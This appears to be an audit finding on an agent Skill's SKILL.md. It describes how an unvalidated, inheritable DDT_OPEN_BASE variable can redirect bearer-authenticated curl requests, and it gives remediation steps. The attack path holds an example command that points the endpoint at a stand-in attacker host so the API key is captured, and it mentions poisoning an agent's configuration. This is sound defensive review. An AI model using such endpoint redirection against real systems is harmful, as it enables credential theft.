T09 · Insecure Skill Coding Practices
- Location
SKILL.md:33- Finding
Bearer Token Disclosure Through Unvalidated API Base URL Override
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, line 33; the unsafe variable is used in authenticated requests at lines 91–113
Vulnerability Type: Credential exfiltration through an unvalidated configurable endpoint
Risk Level: MediumVulnerable Code
bash export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}" test -n "$DDT_API_KEY"The resulting variable is subsequently used as the destination of requests carrying the API key:
bash curl --fail --silent --show-error -G \ -H "Authorization: Bearer $DDT_API_KEY" \ "$DDT_OPEN_BASE/v1/network/nearby" \ --data-urlencode "q=北京航空科技大厦" \ --data-urlencode "city=北京市" \ --data-urlencode "radius_m=1000" \ --data-urlencode "size=10"Technical Analysis
The default-value expression preserves any preexisting value of
DDT_OPEN_BASE. The documentation does not validate the variable's URL scheme, hostname, port, or resolved destination before attaching the bearer credential.Consequently, a process that can influence the shell environment can redirect authenticated requests away from the intended
gotoshop-ai.comservice. Using HTTPS alone does not prevent this attack when the substituted destination is an attacker-controlled HTTPS server with a valid certificate.The flaw exposes both the
DDT_API_KEYbearer credential and potentially sensitive restaurant-location, candidate-site, address, and business-analysis query parameters.Attack Path
- An attacker gains the ability to influence the environment from which the Skill's documented commands are run, such as through a poisoned project environment, shell profile, wrapper process, CI variable, or Agent configuration.
- The attacker sets an alternative endpoint, for example:
bash export DDT_OPEN_BASE="https://attacker.example" - The user or Agent executes the documented initialization:
bash export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}"
...[truncated 983 chars]
- Remediation
View remediation
Remediation Suggestions
-
Hardcode the trusted origin for every request that carries the bearer token:
bash readonly DDT_OPEN_BASE="https://gotoshop-ai.com/ddtclaw" -
If endpoint configurability is required for legitimate testing, parse and validate the URL before making a request. Require:
- An exact
httpsscheme. - An explicitly allowlisted hostname.
- An expected port.
- No embedded user information.
- No redirects to non-allowlisted origins.
- An exact
-
Configure
curlto reject unexpected redirects, or verify that every redirect target remains on the trusted origin before forwarding credentials. -
Separate production and test credentials. Never send a production bearer token to development, staging, or user-supplied endpoints.
-
Document that inherited endpoint variables must not be trusted automatically. Fail closed when the endpoint differs from the approved origin.
-
Revoke and rotate any API key that may previously have been sent through an untrusted endpoint, and review API logs for unauthorized use.
-
